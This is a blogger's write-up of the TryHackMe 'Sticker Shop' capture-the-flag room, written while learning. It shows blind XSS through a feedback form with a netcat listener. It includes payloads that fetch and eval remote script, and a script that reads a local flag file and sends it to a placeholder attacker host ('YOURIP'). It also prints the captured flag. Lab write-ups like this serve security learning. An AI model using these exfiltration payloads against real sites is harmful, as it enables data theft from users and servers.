The Sticker Shop
Can you exploit the sticker shop in order to capture the flag?
Firts Let’s start the machine
The sticker shop is finally online!
Your local sticker shop has finally developed its own webpage. They do not have too much experience regarding web development, so they decided to develop and host everything on the same computer that they use for browsing the internet and looking at customer feedback. Smart move!
Can you read the flag at http://MACHINE_IP:8080/flag.txt?
Can you conduct any client-side exploitation in order to read the flag?
That is a tryhackme hint, once the machine is started let's go to the machine IP
As you can see says Unauthorized 
After like
15minues looking for a directory I found onesubmit_feedbackso now let’s navigate tohttp://machine_ip:8080/submit_feedback
Remember what tryhackme says
client-side exploitationThen i started looking for xss payloads, 2 pages help me on this firts
- https://www.securitum.com/persistent_threats_via_blind_xss.html and the another is 
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md 
I tried some xss payloads, but im gonna put only two
So I set a listener on port before start the xss
8080nc -nlvp 8080
1
2
<svg/onload='fetch("//host/a").then(r=>r.text().then(t=>eval(t)))'>
<script src=14.rs>
nccalls netcat
nAvoids netcat dns resolution
lPuts Netcat in listening mode, waiting for incoming connections.
vEnables Verbose modeMore details 
pSpecifies the port to listen on
8080The chosen port number.
After like 25 minutes I combined the script found on the web pages that i mencione before then I get this script
1
2
3
4
5
6
7
'"><script>
  fetch('http://127.0.0.1:8080/flag.txt')
    .then(response => response.text())
    .then(data => {
      fetch('http://YOURIP/?flag=' + encodeURIComponent(data));
    });
</script>
 
 THM%7B83789a69074f636f64a38879cfcabe8b62305ee6%7D
fetch('http://127.0.0.1:8080/flag.txt')Thefetchfunction is used to do a http request to a local server (Like he’s on the local machine)127.0.0.1in the port8080fetch('http://127.0.0.1:8080/flag.txt'), If the flag.txt exists & the servers reply, then the content give us as a response.
.then(response => response.text())This convert the response in plaintext.
fetch('http://YOURIP/?flag=' + encodeURIComponent(data));The data obteined (theflag.txtcontent) Are sent to a external server controlled byYOURIP- encodeURIComponent(data) ensures that special characters in the content do not break the URL.
After that we got the flag , I hope you enjoy this, `IF YOU SEE ANY DRMATICAL ERRORS, excuse me, I’m LEARNING ENGLISH ;)



